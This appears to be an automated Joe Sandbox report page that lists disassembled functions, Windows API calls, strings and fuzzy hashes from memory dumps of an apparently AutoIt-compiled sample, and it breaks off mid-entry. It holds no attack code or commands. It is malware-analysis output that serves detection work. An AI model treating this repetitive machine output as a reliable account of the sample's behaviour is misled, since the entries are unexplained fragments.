Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: cb1ea2bad13f1cff5628b5d080906f754d592d94a9afa079e1b30267206a65ef
Instruction ID: 7487efab706f91f2545003d562307622a84f98f96326d031b2b2d5f0b4458610
Opcode Fuzzy Hash: cb1ea2bad13f1cff5628b5d080906f754d592d94a9afa079e1b30267206a65ef
Instruction Fuzzy Hash: D8112175500109AFCB04FBA8DD46CAE77B8FF04310B148065F505E72A2DB30DE54DB62

Function 00858B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00858B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00858B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00858B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00858BA4

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 423cb7b883e04cd76d4539cefe97fe002ab8180c89bbea27509f5f5bf10b14c4
Instruction ID: d5c0f017cbf9a8a97214d8953ab00913c96c729586b6c843adcafb7e1355e09f
Opcode Fuzzy Hash: 423cb7b883e04cd76d4539cefe97fe002ab8180c89bbea27509f5f5bf10b14c4
Instruction Fuzzy Hash: EC112E79901218FFDB11DF95CC85FADBB78FB48710F204196EA00B7250DA716E15DB94

Function 00801290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

DefDlgProcW.USER32(?,00000020,?), ref: 008012D8
GetClientRect.USER32(?,?), ref: 0083B5FB
GetCursorPos.USER32(?), ref: 0083B605
ScreenToClient.USER32(?,?), ref: 0083B610

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 101638009501edb2849ea9c81de58c5434f0824ece03e059bf2a26eeda6d1846
Instruction ID: a00317985cf58332d77ee6a391be0450d080f4ad62023f72da2a810fd05d189d
Opcode Fuzzy Hash: 101638009501edb2849ea9c81de58c5434f0824ece03e059bf2a26eeda6d1846
Instruction Fuzzy Hash: D5112235A00019EFCF10EFA8DC899AE77B8FB15310F400566FA11E7281D730BA918BA6

Function 00861142 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0085FCED,?,00860D40,?,00008000), ref: 0086115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,0085FCED,?,00860D40,?,00008000), ref: 00861184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0085FCED,?,00860D40,?,00008000), ref: 0086118E
Sleep.KERNEL32(?,?,?,?,?,?,?,0085FCED,?,00860D40,?,00008000), ref: 008611C1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: eafa4b47c81375d2f13cd5d0d376c8b4847f899c43a54ba5f678cdefd4f915f0
Instruction ID: d9ff1000856cd283be3ab9ac224244b768f61e23a4cd01859c4178791614aa48
Opcode Fuzzy Hash: eafa4b47c81375d2f13cd5d0d376c8b4847f899c43a54ba5f678cdefd4f915f0
Instruction Fuzzy Hash: AE114835C0052DD7CF009FA8D848AEEBB78FB0A711F064056EA40F2242CA749590CB95

Function 0085D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0085D84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0085D864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0085D879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0085D897

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 01101c367c27e2b9edd5669aa348b270ec48564ba395744f7b8aac4eecf1a33b
Instruction ID: 472f86956ab71887b5f0eaaf369db32484dbe500910f6972990e7a085dd5e987
Opcode Fuzzy Hash: 01101c367c27e2b9edd5669aa348b270ec48564ba395744f7b8aac4eecf1a33b
Instruction Fuzzy Hash: C6115E75605309DBE3308F54EC08F92BBBCFB00B05F108979AE16D6051D7B0E5499BA1

Function 00836FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00836FDB

Part of subcall function 008376C2: __fltout2.LIBCMT ref: 008376EB

__cftog_l.LIBCMT ref: 00837001
__cftoe_l.LIBCMT ref: 00837033

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: b512b41e4082b4a4cc20c01d56e7b75367c1f3e9f98143a9abe26327f10dffa6
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 0B014EB244454EBBCF2A5E88CC51CED3F62FB58354F588415FA1898031D236C9B1ABC1

Function 0088B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0088B2E4
ScreenToClient.USER32(?,?), ref: 0088B2FC
ScreenToClient.USER32(?,?), ref: 0088B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0088B33B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: b8b061e71e577ec14668f2349cc17b6a2038dcf2caa6385093423318fac8c4ab
Instruction ID: 64003bf9624fe73c4b2d6d0ebded1030da722b0dbd9cc10c2be24de1aab6ca25
Opcode Fuzzy Hash: b8b061e71e577ec14668f2349cc17b6a2038dcf2caa6385093423318fac8c4ab
Instruction Fuzzy Hash: 931147B5D00209EFDB41DF99C4449EEBBF5FF18310F104166E914E3220D735AA558F50

Function 0088B635 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0088B644
_memset.LIBCMT ref: 0088B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,008C6F20,008C6F64), ref: 0088B682
CloseHandle.KERNEL32 ref: 0088B694

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 4e8e6642fc54682df3489549b3e20d9816bddb10722afcb937772ac98a92db03
Instruction ID: a8ca59feffe8975a546940a71881367c222998a8e1c8fdabf7ef69363e3f362f
Opcode Fuzzy Hash: 4e8e6642fc54682df3489549b3e20d9816bddb10722afcb937772ac98a92db03
Instruction Fuzzy Hash: A4F012B25503147BE3106765BC06FBB7AACFB09795F404039FB09E5192EB759C2087A9

Function 00866BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00866BE6

Part of subcall function 008676C4: _memset.LIBCMT ref: 008676F9

_memmove.LIBCMT ref: 00866C09
_memset.LIBCMT ref: 00866C16
LeaveCriticalSection.KERNEL32(?), ref: 00866C26

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 2891495ce41ba0a741e13bd8dfbb9240875a887225c3748df6172a92bab4a41d
Instruction ID: 6192b1c70f762bd0e8b4ebc28b55b2c5b4f9f404a71bd21fd92613c3469db87a
Opcode Fuzzy Hash: 2891495ce41ba0a741e13bd8dfbb9240875a887225c3748df6172a92bab4a41d
Instruction Fuzzy Hash: CEF05E3A200110BBCF016F59EC85A8ABB29FF45321F088061FE089E227D735E851CBB5

Function 00802218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00802231
SetTextColor.GDI32(?,000000FF), ref: 0080223B
SetBkMode.GDI32(?,00000001), ref: 00802250
GetStockObject.GDI32(00000005), ref: 00802258
GetWindowDC.USER32(?,00000000), ref: 0083BE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 0083BE90
GetPixel.GDI32(00000000,?,00000000), ref: 0083BEA9
GetPixel.GDI32(00000000,00000000,?), ref: 0083BEC2
GetPixel.GDI32(00000000,?,?), ref: 0083BEE2
ReleaseDC.USER32(?,00000000), ref: 0083BEED

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: c78bb0b69ce0bb71bc77d93a51db75514e8bafe1d1348870c50a9b9283147116
Instruction ID: 77a36fdf953611464867b504289c1e57c4b57368df26191eaee3bee9e7ecf743
Opcode Fuzzy Hash: c78bb0b69ce0bb71bc77d93a51db75514e8bafe1d1348870c50a9b9283147116
Instruction Fuzzy Hash: F8E06D72104244EADF225FA8FC4D7D83F10FB45332F108366FB69880E287B14990DB12

Function 00858712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0085871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,008582E6), ref: 00858722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,008582E6), ref: 0085872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,008582E6), ref: 00858736

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 6049c25ce03afdeb8bab8510603cae8e8202e72a6e88359c6e31a6f503c0d559
Instruction ID: 7afa78c7594a68edfb7f5cf3e3ab5f687c37b2c0136d36f1fed940efc080bf1e
Opcode Fuzzy Hash: 6049c25ce03afdeb8bab8510603cae8e8202e72a6e88359c6e31a6f503c0d559
Instruction Fuzzy Hash: E6E08636611312DFD7205FF55D0CB563BACFF54792F244828B745D9051DB348445C750

Function 0085B2F3 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0085B4BE

Strings

AutoIt3GUI, xrefs: 0085B436
Container, xrefs: 0085B43B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 9bd215523dd7303f9d367867cda35bdebf4fe59883df8bcb5ff5bdd2f231f080
Instruction ID: ece737603834adc2b651873fc9d3e2fcc5c4a4c963ec16b889e90026425fc7c2
Opcode Fuzzy Hash: 9bd215523dd7303f9d367867cda35bdebf4fe59883df8bcb5ff5bdd2f231f080
Instruction Fuzzy Hash: 38915870200601AFDB24DF68C884AAABBE5FF59711F20856DED4ACB391EB70E845CB50

Function 0086AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0081FC86: _wcscpy.LIBCMT ref: 0081FCA9

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

__wcsnicmp.LIBCMT ref: 0086B02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0086B0F6

Strings

LPT, xrefs: 0086B027

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: fea725429ef569dfab4bac86e092f8fe98b2e30b5d6724ea3608aab7ee2d581b
Instruction ID: 7f780b8a7b80032da2afb9e9d35bddc831c95ee9468cd312927ee3dba195aab0
Opcode Fuzzy Hash: fea725429ef569dfab4bac86e092f8fe98b2e30b5d6724ea3608aab7ee2d581b
Instruction Fuzzy Hash: 65616F75A00219AFCB14DF98C891EAEB7B4FF09314F118069F956EB391E770AE84CB51

Function 00812957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00812968
GlobalMemoryStatusEx.KERNEL32(?), ref: 00812981

Strings

@, xrefs: 00812975

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 0b3409f7d06df94921f5a9e3a468e1762cc47491fc4d31d6204eb9fd7e2edad3
Instruction ID: a50df8cbf0c3047a26835046827e24f69abeccd18e53b6c358d6f808a79342d2
Opcode Fuzzy Hash: 0b3409f7d06df94921f5a9e3a468e1762cc47491fc4d31d6204eb9fd7e2edad3
Instruction Fuzzy Hash: 715147714087449BD760AF18DC86BABBBE8FB85340F41885DF2D9811A2DB708568CB67

Function 00869734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00804F0B: __fread_nolock.LIBCMT ref: 00804F29

_wcscmp.LIBCMT ref: 00869824
_wcscmp.LIBCMT ref: 00869837

Strings

FILE, xrefs: 00869770

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: ce3894ff41f91208a5e74e8e1964980804d18b6ef30a443043cf4f700f65f94f
Instruction ID: c98faa896b68233360d1e07c34c9aad97f58f66b676087645809b8066644398a
Opcode Fuzzy Hash: ce3894ff41f91208a5e74e8e1964980804d18b6ef30a443043cf4f700f65f94f
Instruction Fuzzy Hash: 0F41A571A4021ABADF209AA8CC45FEFB7BDFF86714F010479FA04E71C1DA75A9048B61

Function 0087258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0087259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 008725D4

Strings

|, xrefs: 008725A5

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: c2c8a30bf3fc86a6011045d75602b5a584e4aee071f6d24b062b74542b47e04c
Instruction ID: 7b9c244065f6be4588c5b4eb19cffa68487c27703d9bc79245041aa5c0d7e08c
Opcode Fuzzy Hash: c2c8a30bf3fc86a6011045d75602b5a584e4aee071f6d24b062b74542b47e04c
Instruction Fuzzy Hash: 8E314871C00119ABCF51AFA4CC85EEEBFB8FF18350F10405AF908A6166EB319955CB61

Function 00886A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00886B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00886B53

Strings

static, xrefs: 00886AB3

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 03b72fd6812e03c88699c818fd760af661dc009bf24cdbf12e4cb331d51531ab
Instruction ID: 6dce899856f08c66bd0bf9743f0faf1c6a0c786d3204d1e20e0503bbc9681094
Opcode Fuzzy Hash: 03b72fd6812e03c88699c818fd760af661dc009bf24cdbf12e4cb331d51531ab
Instruction Fuzzy Hash: C1318F71200604AEEB10AF68CC81FFB77B9FF88764F108619F9A5D7191EA31AC91C760

Function 008628A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00862911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0086294C

Strings

0, xrefs: 0086290A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: d64b9cc3aa3fa4c81e402a882dbe6e352a9c4c7307d8de186d6f00c4ae5ef9f0
Instruction ID: 945b645b9e53ab4bb5a7af16029f47db0024e0d0a5fa341816d304be5ec18887
Opcode Fuzzy Hash: d64b9cc3aa3fa4c81e402a882dbe6e352a9c4c7307d8de186d6f00c4ae5ef9f0
Instruction Fuzzy Hash: 8C31D531A007099FEB24CF58DC45FAEBFB4FF85350F1900A9E985E61A1DB709984CB51

Function 008739E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00873A66

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Strings

, $, xrefs: 00873AA6
AUTOITCALLVARIABLE%d, xrefs: 00873A58

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
